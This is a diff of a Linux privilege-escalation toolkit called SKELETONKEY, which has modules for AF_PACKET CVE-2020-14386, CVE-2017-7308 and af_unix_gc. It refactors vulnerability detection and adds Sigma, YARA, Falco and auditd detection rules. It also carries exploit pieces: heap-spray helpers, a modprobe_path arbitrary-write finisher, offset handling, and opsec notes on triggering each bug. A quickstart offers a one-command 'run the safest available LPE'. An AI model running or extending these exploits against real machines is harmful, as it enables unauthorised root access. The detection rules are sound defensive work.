sudo skeletonkey --audit # broader system hygiene
|
||||
sudo skeletonkey --detect-rules --format=auditd \\
|
||||
| sudo tee /etc/audit/rules.d/99-skeletonkey.rules # deploy detection rules
|
||||
Quickstart (no root required — gaining it is the point):
|
||||
skeletonkey --scan # what's this box vulnerable to?
|
||||
skeletonkey --audit # broader system hygiene
|
||||
skeletonkey --auto --i-know # run the safest available LPE
|
||||
|
||||
Deploy detection rules (defensive; only the write to /etc/audit needs root):
|
||||
skeletonkey --detect-rules --format=auditd \\
|
||||
| sudo tee /etc/audit/rules.d/99-skeletonkey.rules
|
||||
|
||||
See \`skeletonkey --help\` for all commands.
|
||||
EOF
|
||||
|
||||
@@ -1,27 +0,0 @@
|
||||
# Fragnesia — CVE pending
|
||||
|
||||
> ⚪ **PLANNED** stub. See [`../../ROADMAP.md`](../../ROADMAP.md)
|
||||
> Phase 7+.
|
||||
|
||||
## Summary
|
||||
|
||||
ESP shared-frag in-place encrypt path can be coerced into writing
|
||||
into the page cache of an unrelated file. Same primitive shape as
|
||||
Dirty Frag, different reach.
|
||||
|
||||
## Status
|
||||
|
||||
Audit-stage. See
|
||||
`security-research/findings/audit_leak_write_modprobe_backups_2026-05-16.md`
|
||||
section on backup primitives. Notably: trigger appears to require
|
||||
CAP_NET_ADMIN inside a userns netns. On kCTF (shared net_ns) that's
|
||||
cap-dead, but on host systems where user_ns clone is enabled it's
|
||||
reachable.
|
||||
|
||||
## Decision needed before implementing
|
||||
|
||||
Is the unprivileged-userns-netns scenario in scope for SKELETONKEY? If
|
||||
yes, this module ships. If we restrict to "default Linux user
|
||||
account, no namespace tricks," this module is out of scope.
|
||||
|
||||
## Not started.
|
||||
@@ -45,9 +45,6 @@
|
||||
|
||||
#include "skeletonkey_modules.h"
|
||||
#include "../../core/registry.h"
|
||||
#include "../../core/kernel_range.h"
|
||||
#include "../../core/offsets.h"
|
||||
#include "../../core/finisher.h"
|
||||
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
@@ -55,13 +52,19 @@
|
||||
#include <stdint.h>
|
||||
#include <stdbool.h>
|
||||
#include <unistd.h>
|
||||
|
||||
#ifdef __linux__
|
||||
|
||||
#include "../../core/kernel_range.h"
|
||||
#include "../../core/host.h"
|
||||
#include "../../core/offsets.h"
|
||||
#include "../../core/finisher.h"
|
||||
|
||||
#include <errno.h>
|
||||
#include <fcntl.h>
|
||||
#include <sched.h>
|
||||
#include <sys/wait.h>
|
||||
#include <sys/socket.h>
|
||||
|
||||
#ifdef __linux__
|
||||
#include <sys/mman.h>
|
||||
#include <sys/ioctl.h>
|
||||
#include <sys/syscall.h>
|
||||
@@ -72,52 +75,6 @@
|
||||
#include <linux/if_ether.h>
|
||||
#include <linux/if_arp.h>
|
||||
#include <poll.h>
|
||||
#endif
|
||||
|
||||
/* ---------- macOS / non-linux build stubs ---------------------------
|
||||
* Modules in SKELETONKEY are dev-built on macOS and run-built on Linux.
|
||||
* Provide empty stubs so syntax checks pass without Linux headers.
|
||||
* The exploit path is gated at runtime on the kernel version anyway,
|
||||
* so the stubs are never reached on macOS targets. */
|
||||
#ifndef __linux__
|
||||
#define CLONE_NEWUSER 0x10000000
|
||||
#define CLONE_NEWNET 0x40000000
|
||||
#define ETH_P_ALL 0x0003
|
||||
#define ETH_P_8021Q 0x8100
|
||||
#define ETH_P_8021AD 0x88A8
|
||||
#define ETH_P_IP 0x0800
|
||||
#define ETH_ALEN 6
|
||||
#define ETH_HLEN 14
|
||||
#define VLAN_HLEN 4
|
||||
#define IFF_UP 0x01
|
||||
#define IFF_RUNNING 0x40
|
||||
#define SIOCSIFFLAGS 0x8914
|
||||
#define SIOCGIFINDEX 0x8933
|
||||
#define SIOCGIFFLAGS 0x8913
|
||||
#define SOL_PACKET 263
|
||||
#define PACKET_RX_RING 5
|
||||
#define PACKET_VERSION 10
|
||||
#define PACKET_QDISC_BYPASS 20
|
||||
#define TPACKET_V2 1
|
||||
#define PACKET_HOST 0
|
||||
struct sockaddr_ll { unsigned short sll_family; unsigned short sll_protocol; int sll_ifindex; int dummy; };
|
||||
struct ifreq { char name[16]; union { int ifr_ifindex; short ifr_flags; } u; };
|
||||
struct tpacket_req { unsigned int tp_block_size, tp_block_nr, tp_frame_size, tp_frame_nr; };
|
||||
struct tpacket2_hdr { unsigned int tp_status, tp_len, tp_snaplen; unsigned short tp_mac, tp_net; };
|
||||
struct pollfd { int fd; short events, revents; };
|
||||
#define POLLIN 0x001
|
||||
__attribute__((unused)) static int ioctl(int a, unsigned long b, ...) { (void)a; (void)b; errno=ENOSYS; return -1; }
|
||||
__attribute__((unused)) static void *mmap(void *a, size_t b, int c, int d, int e, long f) { (void)a;(void)b;(void)c;(void)d;(void)e;(void)f; errno=ENOSYS; return (void*)-1; }
|
||||
__attribute__((unused)) static int munmap(void *a, size_t b) { (void)a;(void)b; return -1; }
|
||||
__attribute__((unused)) static int setsockopt(int a, int b, int c, const void *d, unsigned int e) { (void)a;(void)b;(void)c;(void)d;(void)e; errno=ENOSYS; return -1; }
|
||||
__attribute__((unused)) static int poll(struct pollfd *a, unsigned long b, int c) { (void)a;(void)b;(void)c; errno=ENOSYS; return -1; }
|
||||
__attribute__((unused)) static unsigned short htons(unsigned short x) { return x; }
|
||||
#define MAP_SHARED 0x01
|
||||
#define MAP_LOCKED 0x2000
|
||||
#define PROT_READ 0x1
|
||||
#define PROT_WRITE 0x2
|
||||
#define MAP_FAILED ((void *)-1)
|
||||
#endif
|
||||
|
||||
static const struct kernel_patched_from af_packet2_patched_branches[] = {
|
||||
{4, 9, 235},
|
||||
@@ -135,53 +92,44 @@ static const struct kernel_range af_packet2_range = {
|
||||
sizeof(af_packet2_patched_branches[0]),
|
||||
};
|
||||
|
||||
static int can_unshare_userns(void)
|
||||
{
|
||||
pid_t pid = fork();
|
||||
if (pid < 0) return -1;
|
||||
if (pid == 0) {
|
||||
if (unshare(CLONE_NEWUSER | CLONE_NEWNET) == 0) _exit(0);
|
||||
_exit(1);
|
||||
}
|
||||
int status;
|
||||
waitpid(pid, &status, 0);
|
||||
return WIFEXITED(status) && WEXITSTATUS(status) == 0;
|
||||
}
|
||||
|
||||
static skeletonkey_result_t af_packet2_detect(const struct skeletonkey_ctx *ctx)
|
||||
{
|
||||
struct kernel_version v;
|
||||
if (!kernel_version_current(&v)) {
|
||||
fprintf(stderr, "[!] af_packet2: could not parse kernel version\n");
|
||||
/* Consult the shared host fingerprint instead of calling
|
||||
* kernel_version_current() ourselves — populated once at startup
|
||||
* and identical across every module's detect(). */
|
||||
const struct kernel_version *v = ctx->host ? &ctx->host->kernel : NULL;
|
||||
if (!v || v->major == 0) {
|
||||
if (!ctx->json)
|
||||
fprintf(stderr, "[!] af_packet2: host fingerprint missing kernel "
|
||||
"version — bailing\n");
|
||||
return SKELETONKEY_TEST_ERROR;
|
||||
}
|
||||
|
||||
/* Bug introduced in 4.6 (tpacket_rcv VLAN path). Pre-4.6 immune. */
|
||||
if (v.major < 4 || (v.major == 4 && v.minor < 6)) {
|
||||
if (!skeletonkey_host_kernel_at_least(ctx->host, 4, 6, 0)) {
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr, "[+] af_packet2: kernel %s predates the bug (introduced in 4.6)\n",
|
||||
v.release);
|
||||
v->release);
|
||||
}
|
||||
return SKELETONKEY_OK;
|
||||
}
|
||||
|
||||
bool patched = kernel_range_is_patched(&af_packet2_range, &v);
|
||||
bool patched = kernel_range_is_patched(&af_packet2_range, v);
|
||||
if (patched) {
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr, "[+] af_packet2: kernel %s is patched\n", v.release);
|
||||
fprintf(stderr, "[+] af_packet2: kernel %s is patched\n", v->release);
|
||||
}
|
||||
return SKELETONKEY_OK;
|
||||
}
|
||||
|
||||
int userns_ok = can_unshare_userns();
|
||||
bool userns_ok = ctx->host ? ctx->host->unprivileged_userns_allowed : false;
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr, "[i] af_packet2: kernel %s in vulnerable range\n", v.release);
|
||||
fprintf(stderr, "[i] af_packet2: kernel %s in vulnerable range\n", v->release);
|
||||
fprintf(stderr, "[i] af_packet2: user_ns+net_ns clone: %s\n",
|
||||
userns_ok == 1 ? "ALLOWED" :
|
||||
userns_ok == 0 ? "DENIED" : "could not test");
|
||||
userns_ok ? "ALLOWED" : "DENIED");
|
||||
}
|
||||
|
||||
if (userns_ok == 0) {
|
||||
if (!userns_ok) {
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr, "[+] af_packet2: user_ns denied → unprivileged exploit unreachable\n");
|
||||
}
|
||||
@@ -223,8 +171,6 @@ static skeletonkey_result_t af_packet2_detect(const struct skeletonkey_ctx *ctx)
|
||||
* the primitive. It does not land cred overwrite.
|
||||
*/
|
||||
|
||||
#ifdef __linux__
|
||||
|
||||
/* sendmmsg spray helper — best-effort skb groom. Adjacent kernel slab
|
||||
* objects are sprayed so the OOB write lands on attacker bytes. */
|
||||
static void af_packet2_skb_spray(int n_iters)
|
||||
@@ -440,15 +386,6 @@ static int af_packet2_primitive_child(const struct skeletonkey_ctx *ctx)
|
||||
return 0;
|
||||
}
|
||||
|
||||
#else /* !__linux__: provide a stub for macOS sanity builds */
|
||||
static int af_packet2_primitive_child(const struct skeletonkey_ctx *ctx)
|
||||
{
|
||||
(void)ctx;
|
||||
fprintf(stderr, "[-] af_packet2: linux-only primitive — non-linux build\n");
|
||||
return -1;
|
||||
}
|
||||
#endif
|
||||
|
||||
/* ---- Full-chain finisher (--full-chain, x86_64 only) ----------------
|
||||
*
|
||||
* Arb-write strategy (Or Cohen's sk_buff-data-pointer hijack):
|
||||
@@ -490,7 +427,7 @@ struct afp2_arb_ctx {
|
||||
int n_attempts; /* spray/fire rounds before giving up */
|
||||
};
|
||||
|
||||
#if defined(__x86_64__) && defined(__linux__)
|
||||
#if defined(__x86_64__)
|
||||
static int afp2_arb_write(uintptr_t kaddr, const void *buf, size_t len, void *vctx)
|
||||
{
|
||||
struct afp2_arb_ctx *c = (struct afp2_arb_ctx *)vctx;
|
||||
@@ -508,9 +445,7 @@ static int afp2_arb_write(uintptr_t kaddr, const void *buf, size_t len, void *vc
|
||||
* frame would then write our payload (the modprobe_path string)
|
||||
* into the forged ->data target. */
|
||||
for (int i = 0; i < c->n_attempts; i++) {
|
||||
#ifdef __linux__
|
||||
af_packet2_skb_spray(8);
|
||||
#endif
|
||||
pid_t p = fork();
|
||||
if (p < 0) return -1;
|
||||
if (p == 0) {
|
||||
@@ -535,9 +470,7 @@ static int afp2_arb_write(uintptr_t kaddr, const void *buf, size_t len, void *vc
|
||||
}
|
||||
int st;
|
||||
waitpid(p, &st, 0);
|
||||
#ifdef __linux__
|
||||
af_packet2_skb_spray(8);
|
||||
#endif
|
||||
}
|
||||
|
||||
/* LAST-RESORT depth: we have fired the trigger + spray but cannot
|
||||
@@ -572,8 +505,11 @@ static skeletonkey_result_t af_packet2_exploit(const struct skeletonkey_ctx *ctx
|
||||
return pre;
|
||||
}
|
||||
|
||||
/* 2. Refuse if already root. */
|
||||
if (geteuid() == 0) {
|
||||
/* 2. Refuse if already root. Consult ctx->host first so unit tests
|
||||
* can construct a non-root fingerprint regardless of the test
|
||||
* process's real euid. */
|
||||
bool is_root = ctx->host ? ctx->host->is_root : (geteuid() == 0);
|
||||
if (is_root) {
|
||||
fprintf(stderr, "[i] af_packet2: already running as root — nothing to escalate\n");
|
||||
return SKELETONKEY_OK;
|
||||
}
|
||||
@@ -664,7 +600,7 @@ static skeletonkey_result_t af_packet2_exploit(const struct skeletonkey_ctx *ctx
|
||||
" skeletonkey intentionally does not embed per-kernel offsets.\n");
|
||||
}
|
||||
if (ctx->full_chain) {
|
||||
#if defined(__x86_64__) && defined(__linux__)
|
||||
#if defined(__x86_64__)
|
||||
/* --full-chain: resolve kernel offsets and run the Or-Cohen
|
||||
* sk_buff-data-pointer hijack via the shared modprobe_path
|
||||
* finisher. Per the verified-vs-claimed bar: if we can't
|
||||
@@ -703,6 +639,29 @@ static skeletonkey_result_t af_packet2_exploit(const struct skeletonkey_ctx *ctx
|
||||
}
|
||||
}
|
||||
|
||||
#else /* !__linux__ */
|
||||
|
||||
/* Non-Linux dev builds: AF_PACKET + TPACKET_V2 + tpacket_rcv VLAN
|
||||
* underflow are Linux-only kernel surface. Stub out cleanly so the
|
||||
* module still registers and `--list` / `--detect-rules` work on
|
||||
* macOS/BSD dev boxes — and so the top-level `make` actually completes
|
||||
* there. */
|
||||
static skeletonkey_result_t af_packet2_detect(const struct skeletonkey_ctx *ctx)
|
||||
{
|
||||
if (!ctx->json)
|
||||
fprintf(stderr, "[i] af_packet2: Linux-only module "
|
||||
"(AF_PACKET TPACKET_V2 + user_ns) — not applicable here\n");
|
||||
return SKELETONKEY_PRECOND_FAIL;
|
||||
}
|
||||
static skeletonkey_result_t af_packet2_exploit(const struct skeletonkey_ctx *ctx)
|
||||
{
|
||||
(void)ctx;
|
||||
fprintf(stderr, "[-] af_packet2: Linux-only module — cannot run here\n");
|
||||
return SKELETONKEY_PRECOND_FAIL;
|
||||
}
|
||||
|
||||
#endif /* __linux__ */
|
||||
|
||||
static const char af_packet2_auditd[] =
|
||||
"# AF_PACKET VLAN LPE (CVE-2020-14386) — auditd detection rules\n"
|
||||
"# Same syscall surface as CVE-2017-7308 — share the skeletonkey-af-packet\n"
|
||||
@@ -710,6 +669,54 @@ static const char af_packet2_auditd[] =
|
||||
"# non-root via userns is the canonical footprint.\n"
|
||||
"-a always,exit -F arch=b64 -S socket -F a0=17 -k skeletonkey-af-packet\n";
|
||||
|
||||
static const char af_packet2_sigma[] =
|
||||
"title: Possible CVE-2020-14386 AF_PACKET VLAN underflow exploitation\n"
|
||||
"id: b83c6fa2-skeletonkey-af-packet2\n"
|
||||
"status: experimental\n"
|
||||
"description: |\n"
|
||||
" Detects the AF_PACKET TPACKET_V2 nested-VLAN frame pattern:\n"
|
||||
" unshare(CLONE_NEWUSER|CLONE_NEWNET) followed by socket(AF_PACKET),\n"
|
||||
" PACKET_RX_RING setsockopt, and a sendmmsg burst (>=64) on a unix\n"
|
||||
" socketpair spray. False positives: legitimate packet capture in\n"
|
||||
" rootless containers.\n"
|
||||
"logsource: {product: linux, service: auditd}\n"
|
||||
"detection:\n"
|
||||
" userns: {type: 'SYSCALL', syscall: 'unshare'}\n"
|
||||
" afp: {type: 'SYSCALL', syscall: 'socket', a0: 17}\n"
|
||||
" send_burst:{type: 'SYSCALL', syscall: 'sendmmsg'}\n"
|
||||
" condition: userns and afp and send_burst\n"
|
||||
"level: high\n"
|
||||
"tags: [attack.privilege_escalation, attack.t1068, cve.2020.14386]\n";
|
||||
|
||||
static const char af_packet2_yara[] =
|
||||
"rule af_packet2_cve_2020_14386 : cve_2020_14386 heap_spray\n"
|
||||
"{\n"
|
||||
" meta:\n"
|
||||
" cve = \"CVE-2020-14386\"\n"
|
||||
" description = \"AF_PACKET VLAN-underflow spray tag (skeletonkey-afp-fc-)\"\n"
|
||||
" author = \"SKELETONKEY\"\n"
|
||||
" strings:\n"
|
||||
" $tag = \"skeletonkey-afp-fc-\" ascii\n"
|
||||
" condition:\n"
|
||||
" $tag\n"
|
||||
"}\n";
|
||||
|
||||
static const char af_packet2_falco[] =
|
||||
"- rule: AF_PACKET TPACKET_V2 nested-VLAN trigger by non-root\n"
|
||||
" desc: |\n"
|
||||
" A non-root process sets up TPACKET_V2 and sends a burst of\n"
|
||||
" sendmmsg packets carrying nested VLAN tags (CVE-2020-14386\n"
|
||||
" trigger). False positives: legitimate VLAN/network capture\n"
|
||||
" tools in unprivileged containers.\n"
|
||||
" condition: >\n"
|
||||
" evt.type = sendmmsg and fd.type = socket and\n"
|
||||
" fd.sockfamily = AF_PACKET and not user.uid = 0\n"
|
||||
" output: >\n"
|
||||
" sendmmsg burst on AF_PACKET socket by non-root\n"
|
||||
" (user=%user.name pid=%proc.pid vlen=%evt.arg.vlen)\n"
|
||||
" priority: HIGH\n"
|
||||
" tags: [network, mitre_privilege_escalation, T1068, cve.2020.14386]\n";
|
||||
|
||||
const struct skeletonkey_module af_packet2_module = {
|
||||
.name = "af_packet2",
|
||||
.cve = "CVE-2020-14386",
|
||||
@@ -721,9 +728,11 @@ const struct skeletonkey_module af_packet2_module = {
|
||||
.mitigate = NULL,
|
||||
.cleanup = NULL,
|
||||
.detect_auditd = af_packet2_auditd,
|
||||
.detect_sigma = NULL,
|
||||
.detect_yara = NULL,
|
||||
.detect_falco = NULL,
|
||||
.detect_sigma = af_packet2_sigma,
|
||||
.detect_yara = af_packet2_yara,
|
||||
.detect_falco = af_packet2_falco,
|
||||
.opsec_notes = "unshare(CLONE_NEWUSER|CLONE_NEWNET) + TPACKET_V2 ring on AF_PACKET; crafts nested-VLAN ETH_P_8021AD frames with 0x88A8/0x8100 TPIDs to trigger tpacket_rcv underflow; fires 256 frames + 64 sendmmsg via AF_UNIX socketpair spray. Tag 'skeletonkey-afp-fc-' visible in KASAN splats. Audit-visible via socket(AF_PACKET) + sendmsg/sendto from userns. No persistent artifacts; kernel cleans up on child exit.",
|
||||
.arch_support = "x86_64+unverified-arm64",
|
||||
};
|
||||
|
||||
void skeletonkey_register_af_packet2(void)
|
||||
|
||||
@@ -60,17 +60,23 @@
|
||||
|
||||
#include "skeletonkey_modules.h"
|
||||
#include "../../core/registry.h"
|
||||
#include "../../core/kernel_range.h"
|
||||
#include "../../core/offsets.h"
|
||||
#include "../../core/finisher.h"
|
||||
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <stdint.h>
|
||||
#include <string.h>
|
||||
#include <stdbool.h>
|
||||
#include <unistd.h>
|
||||
|
||||
#ifdef __linux__
|
||||
|
||||
#include "../../core/kernel_range.h"
|
||||
#include "../../core/host.h"
|
||||
#include "../../core/offsets.h"
|
||||
#include "../../core/finisher.h"
|
||||
|
||||
#include <errno.h>
|
||||
#include <fcntl.h>
|
||||
#include <unistd.h>
|
||||
#include <sched.h>
|
||||
#include <sys/wait.h>
|
||||
#include <sys/socket.h>
|
||||
@@ -106,44 +112,35 @@ static const struct kernel_range af_packet_range = {
|
||||
sizeof(af_packet_patched_branches[0]),
|
||||
};
|
||||
|
||||
static int can_unshare_userns(void)
|
||||
{
|
||||
pid_t pid = fork();
|
||||
if (pid < 0) return -1;
|
||||
if (pid == 0) {
|
||||
if (unshare(CLONE_NEWUSER | CLONE_NEWNET) == 0) _exit(0);
|
||||
_exit(1);
|
||||
}
|
||||
int status;
|
||||
waitpid(pid, &status, 0);
|
||||
return WIFEXITED(status) && WEXITSTATUS(status) == 0;
|
||||
}
|
||||
|
||||
static skeletonkey_result_t af_packet_detect(const struct skeletonkey_ctx *ctx)
|
||||
{
|
||||
struct kernel_version v;
|
||||
if (!kernel_version_current(&v)) {
|
||||
fprintf(stderr, "[!] af_packet: could not parse kernel version\n");
|
||||
/* Consult the shared host fingerprint instead of calling
|
||||
* kernel_version_current() ourselves — populated once at startup
|
||||
* and identical across every module's detect(). */
|
||||
const struct kernel_version *v = ctx->host ? &ctx->host->kernel : NULL;
|
||||
if (!v || v->major == 0) {
|
||||
if (!ctx->json)
|
||||
fprintf(stderr, "[!] af_packet: host fingerprint missing kernel "
|
||||
"version — bailing\n");
|
||||
return SKELETONKEY_TEST_ERROR;
|
||||
}
|
||||
|
||||
bool patched = kernel_range_is_patched(&af_packet_range, &v);
|
||||
bool patched = kernel_range_is_patched(&af_packet_range, v);
|
||||
if (patched) {
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr, "[+] af_packet: kernel %s is patched\n", v.release);
|
||||
fprintf(stderr, "[+] af_packet: kernel %s is patched\n", v->release);
|
||||
}
|
||||
return SKELETONKEY_OK;
|
||||
}
|
||||
|
||||
int userns_ok = can_unshare_userns();
|
||||
bool userns_ok = ctx->host ? ctx->host->unprivileged_userns_allowed : false;
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr, "[i] af_packet: kernel %s in vulnerable range\n", v.release);
|
||||
fprintf(stderr, "[i] af_packet: kernel %s in vulnerable range\n", v->release);
|
||||
fprintf(stderr, "[i] af_packet: user_ns+net_ns clone (CAP_NET_RAW gate): %s\n",
|
||||
userns_ok == 1 ? "ALLOWED" :
|
||||
userns_ok == 0 ? "DENIED" : "could not test");
|
||||
userns_ok ? "ALLOWED" : "DENIED");
|
||||
}
|
||||
|
||||
if (userns_ok == 0) {
|
||||
if (!userns_ok) {
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr, "[+] af_packet: user_ns denied → "
|
||||
"unprivileged exploit unreachable\n");
|
||||
@@ -718,8 +715,11 @@ static skeletonkey_result_t af_packet_exploit(const struct skeletonkey_ctx *ctx)
|
||||
return pre;
|
||||
}
|
||||
|
||||
/* 2. Refuse if already root. */
|
||||
if (geteuid() == 0) {
|
||||
/* 2. Refuse if already root. Consult ctx->host first so unit tests
|
||||
* can construct a non-root fingerprint regardless of the test
|
||||
* process's real euid. */
|
||||
bool is_root = ctx->host ? ctx->host->is_root : (geteuid() == 0);
|
||||
if (is_root) {
|
||||
fprintf(stderr, "[i] af_packet: already root — nothing to escalate\n");
|
||||
return SKELETONKEY_OK;
|
||||
}
|
||||
@@ -727,16 +727,19 @@ static skeletonkey_result_t af_packet_exploit(const struct skeletonkey_ctx *ctx)
|
||||
/* 3. Resolve offsets for THIS kernel. If we don't have them, bail
|
||||
* early — the kernel-write walk needs them. The integrator can
|
||||
* extend known_offsets[] for new distro builds. */
|
||||
struct kernel_version v;
|
||||
if (!kernel_version_current(&v)) {
|
||||
const struct kernel_version *v = ctx->host ? &ctx->host->kernel : NULL;
|
||||
if (!v || v->major == 0) {
|
||||
if (!ctx->json)
|
||||
fprintf(stderr, "[!] af_packet: host fingerprint missing kernel "
|
||||
"version — bailing\n");
|
||||
return SKELETONKEY_TEST_ERROR;
|
||||
}
|
||||
struct af_packet_offsets off;
|
||||
if (!resolve_offsets(&off, &v)) {
|
||||
if (!resolve_offsets(&off, v)) {
|
||||
fprintf(stderr, "[-] af_packet: no offset table for kernel %s\n"
|
||||
" set SKELETONKEY_AFPACKET_OFFSETS=<task_cred>:<cred_uid>:<cred_size>\n"
|
||||
" (hex). Known table covers Ubuntu 16.04 (4.4) and 18.04 (4.15).\n",
|
||||
v.release);
|
||||
v->release);
|
||||
return SKELETONKEY_PRECOND_FAIL;
|
||||
}
|
||||
if (!ctx->json) {
|
||||
@@ -858,12 +861,85 @@ static skeletonkey_result_t af_packet_exploit(const struct skeletonkey_ctx *ctx)
|
||||
#endif
|
||||
}
|
||||
|
||||
#else /* !__linux__ */
|
||||
|
||||
/* Non-Linux dev builds: AF_PACKET + unshare(CLONE_NEWUSER|CLONE_NEWNET)
|
||||
* + TPACKET_V3 ring are Linux-only kernel surface; the TPACKET_V3
|
||||
* integer-overflow primitive is structurally unreachable elsewhere.
|
||||
* Stub out cleanly so the module still registers and `--list` /
|
||||
* `--detect-rules` work on macOS/BSD dev boxes — and so the top-level
|
||||
* `make` actually completes there. */
|
||||
static skeletonkey_result_t af_packet_detect(const struct skeletonkey_ctx *ctx)
|
||||
{
|
||||
if (!ctx->json)
|
||||
fprintf(stderr, "[i] af_packet: Linux-only module "
|
||||
"(AF_PACKET TPACKET_V3 + user_ns) — not applicable here\n");
|
||||
return SKELETONKEY_PRECOND_FAIL;
|
||||
}
|
||||
static skeletonkey_result_t af_packet_exploit(const struct skeletonkey_ctx *ctx)
|
||||
{
|
||||
(void)ctx;
|
||||
fprintf(stderr, "[-] af_packet: Linux-only module — cannot run here\n");
|
||||
return SKELETONKEY_PRECOND_FAIL;
|
||||
}
|
||||
|
||||
#endif /* __linux__ */
|
||||
|
||||
static const char af_packet_auditd[] =
|
||||
"# AF_PACKET TPACKET_V3 LPE (CVE-2017-7308) — auditd detection rules\n"
|
||||
"# Flag AF_PACKET socket creation from non-root via userns.\n"
|
||||
"-a always,exit -F arch=b64 -S socket -F a0=17 -k skeletonkey-af-packet\n"
|
||||
"-a always,exit -F arch=b64 -S unshare -k skeletonkey-af-packet-userns\n";
|
||||
|
||||
static const char af_packet_sigma[] =
|
||||
"title: Possible CVE-2017-7308 AF_PACKET TPACKET_V3 exploitation\n"
|
||||
"id: a72b5e91-skeletonkey-af-packet\n"
|
||||
"status: experimental\n"
|
||||
"description: |\n"
|
||||
" Detects the AF_PACKET TPACKET_V3 integer-overflow setup pattern:\n"
|
||||
" unshare(CLONE_NEWUSER|CLONE_NEWNET) followed by socket(AF_PACKET)\n"
|
||||
" and a PACKET_RX_RING setsockopt + sendmmsg burst. False positives:\n"
|
||||
" network sandboxes / containers running raw-packet apps inside\n"
|
||||
" userns; correlate process tree to distinguish.\n"
|
||||
"logsource: {product: linux, service: auditd}\n"
|
||||
"detection:\n"
|
||||
" userns: {type: 'SYSCALL', syscall: 'unshare'}\n"
|
||||
" afp: {type: 'SYSCALL', syscall: 'socket', a0: 17}\n"
|
||||
" send_burst:{type: 'SYSCALL', syscall: 'sendmmsg'}\n"
|
||||
" condition: userns and afp and send_burst\n"
|
||||
"level: high\n"
|
||||
"tags: [attack.privilege_escalation, attack.t1068, cve.2017.7308]\n";
|
||||
|
||||
static const char af_packet_yara[] =
|
||||
"rule af_packet_cve_2017_7308 : cve_2017_7308 heap_spray\n"
|
||||
"{\n"
|
||||
" meta:\n"
|
||||
" cve = \"CVE-2017-7308\"\n"
|
||||
" description = \"AF_PACKET TPACKET_V3 spray tag from skeletonkey/iam-root tooling\"\n"
|
||||
" author = \"SKELETONKEY\"\n"
|
||||
" strings:\n"
|
||||
" $tag1 = \"iamroot-afp-tag\" ascii\n"
|
||||
" $tag2 = \"skeletonkey-afp-fc-\" ascii\n"
|
||||
" condition:\n"
|
||||
" any of them\n"
|
||||
"}\n";
|
||||
|
||||
static const char af_packet_falco[] =
|
||||
"- rule: AF_PACKET TPACKET_V3 setup by non-root in userns\n"
|
||||
" desc: |\n"
|
||||
" A non-root process creates an AF_PACKET socket and sets up a\n"
|
||||
" TPACKET_V3 ring inside a user namespace. CVE-2017-7308 trigger\n"
|
||||
" requires CAP_NET_RAW which userns provides. False positives:\n"
|
||||
" legitimate packet-capture tools running rootless (rare).\n"
|
||||
" condition: >\n"
|
||||
" evt.type = setsockopt and evt.arg.optname contains PACKET_RX_RING\n"
|
||||
" and not user.uid = 0\n"
|
||||
" output: >\n"
|
||||
" AF_PACKET TPACKET_V3 ring setup by non-root\n"
|
||||
" (user=%user.name proc=%proc.name pid=%proc.pid)\n"
|
||||
" priority: HIGH\n"
|
||||
" tags: [network, mitre_privilege_escalation, T1068, cve.2017.7308]\n";
|
||||
|
||||
const struct skeletonkey_module af_packet_module = {
|
||||
.name = "af_packet",
|
||||
.cve = "CVE-2017-7308",
|
||||
@@ -875,9 +951,11 @@ const struct skeletonkey_module af_packet_module = {
|
||||
.mitigate = NULL,
|
||||
.cleanup = NULL,
|
||||
.detect_auditd = af_packet_auditd,
|
||||
.detect_sigma = NULL,
|
||||
.detect_yara = NULL,
|
||||
.detect_falco = NULL,
|
||||
.detect_sigma = af_packet_sigma,
|
||||
.detect_yara = af_packet_yara,
|
||||
.detect_falco = af_packet_falco,
|
||||
.opsec_notes = "Creates AF_PACKET socket and TPACKET_V3 ring inside unshare(CLONE_NEWUSER|CLONE_NEWNET); triggers integer overflow with crafted tp_block_size/tp_block_nr and sprays ~200 loopback frames. Audit-visible via socket(AF_PACKET) (a0=17) + sendmmsg from a userns process; KASAN tag 'iamroot-afp-tag' may appear in dmesg if enabled. No persistent files. No cleanup callback - kernel state unwinds on child exit.",
|
||||
.arch_support = "x86_64+unverified-arm64",
|
||||
};
|
||||
|
||||
void skeletonkey_register_af_packet(void)
|
||||
|
||||
@@ -58,6 +58,7 @@
|
||||
#include "skeletonkey_modules.h"
|
||||
#include "../../core/registry.h"
|
||||
#include "../../core/kernel_range.h"
|
||||
#include "../../core/host.h"
|
||||
#include "../../core/offsets.h"
|
||||
#include "../../core/finisher.h"
|
||||
|
||||
@@ -104,6 +105,7 @@ static const struct kernel_patched_from af_unix_gc_patched_branches[] = {
|
||||
{5, 10, 197},
|
||||
{5, 15, 130},
|
||||
{6, 1, 51}, /* 6.1 LTS */
|
||||
{6, 4, 13}, /* 6.4.x stable (per Debian tracker — forky/sid/trixie) */
|
||||
{6, 5, 0}, /* mainline fix landed in 6.5 (technically 6.6-rc1
|
||||
but stable 6.5.x carries the patch) */
|
||||
};
|
||||
@@ -129,9 +131,14 @@ static bool can_create_af_unix(void)
|
||||
|
||||
static skeletonkey_result_t af_unix_gc_detect(const struct skeletonkey_ctx *ctx)
|
||||
{
|
||||
struct kernel_version v;
|
||||
if (!kernel_version_current(&v)) {
|
||||
fprintf(stderr, "[!] af_unix_gc: could not parse kernel version\n");
|
||||
/* Consult the shared host fingerprint instead of calling
|
||||
* kernel_version_current() ourselves — populated once at startup
|
||||
* and identical across every module's detect(). */
|
||||
const struct kernel_version *v = ctx->host ? &ctx->host->kernel : NULL;
|
||||
if (!v || v->major == 0) {
|
||||
if (!ctx->json)
|
||||
fprintf(stderr, "[!] af_unix_gc: host fingerprint missing kernel "
|
||||
"version — bailing\n");
|
||||
return SKELETONKEY_TEST_ERROR;
|
||||
}
|
||||
|
||||
@@ -139,10 +146,10 @@ static skeletonkey_result_t af_unix_gc_detect(const struct skeletonkey_ctx *ctx)
|
||||
* the dawn of time. ANY kernel below the fix is vulnerable. The
|
||||
* kernel_range walker handles "older than every entry" correctly
|
||||
* (returns false → not patched → vulnerable). */
|
||||
bool patched = kernel_range_is_patched(&af_unix_gc_range, &v);
|
||||
bool patched = kernel_range_is_patched(&af_unix_gc_range, v);
|
||||
if (patched) {
|
||||
if (!ctx->json) {
|
||||
